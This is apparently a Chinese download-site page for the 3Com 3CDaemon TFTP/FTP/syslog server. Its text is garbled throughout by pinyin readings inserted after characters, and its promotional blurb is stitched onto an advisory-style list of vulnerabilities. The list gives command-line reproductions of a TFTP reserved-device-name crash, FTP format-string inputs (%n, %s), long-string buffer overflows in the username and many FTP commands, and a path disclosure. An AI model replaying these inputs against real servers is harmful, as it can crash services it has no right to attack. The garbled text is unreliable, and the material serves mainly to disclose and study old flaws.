3COM 3CDaemon是(shì)一款多重服(fú)務器功能集成軟件(jiàn),主要作用於服務(wù)器中,同(tóng)時還能夠(gòu)幫助用戶改善相關的電腦功能,需(xū)要的(de)用戶快來綠色資源網(wǎng)下載吧(ba)!
3com的這款(kuǎn)東西還是(shì)很有(yǒu)名很不錯滴~~~3CDaemon是一款免費的集成(chéng)了TFTP、FTP和SYSLOG功能的應用程序;作(zuò)用(yòng)於FTP,TFTP,SYSLOG服務器,TFTP客戶端,雖然還存在很(hěn)多的(de)問題,但是使用起來還(hái)是不錯的!
1、TFTP保留設備名拒絕服務攻擊(jī)
提交類似(sì)如下的請求,可導致TFTP服(fú)務程序掛起:
D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 3CDaemon will be crashed with some msgs like
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".
2、FTP用戶名存在(zài)格式串問題
提交包含(hán)格式串字符(fú)作為(wéi)用戶名數(shù)據,可導致(zhì)守護(hù)程序崩潰(kuì):
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.
OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>
3、FTP超長(zhǎng)用戶(hù)名緩衝區溢出
由(yóu)於對(duì)用戶名缺少正確邊界緩衝區檢查(chá),提交超長用戶名可(kě)導致緩衝區溢出:
D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.
4、多個FTP命令超長參(cān)數(shù)緩(huǎn)衝(chōng)區溢出
cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD等FTP命令對參數缺少充(chōng)分邊(biān)界檢查,提交(jiāo)超長字符(fú)串作為命令參數可導致緩衝區溢出:
ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>
ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.
ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.
5、多個FTP命(mìng)令存在格式串問(wèn)題
提交(jiāo)格(gé)式字(zì)符串作(zuò)為參(cān)數,可(kě)導致程(chéng)序(xù)崩潰。
6、多個(gè)FTP命令包設備名信息泄露問題
請求保留(liú)設備名可導致返(fǎn)回(huí)程序安裝路徑(jìng)信息:
ftp> cd aux
550 aux : C:/3cdaemon/aux is not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!
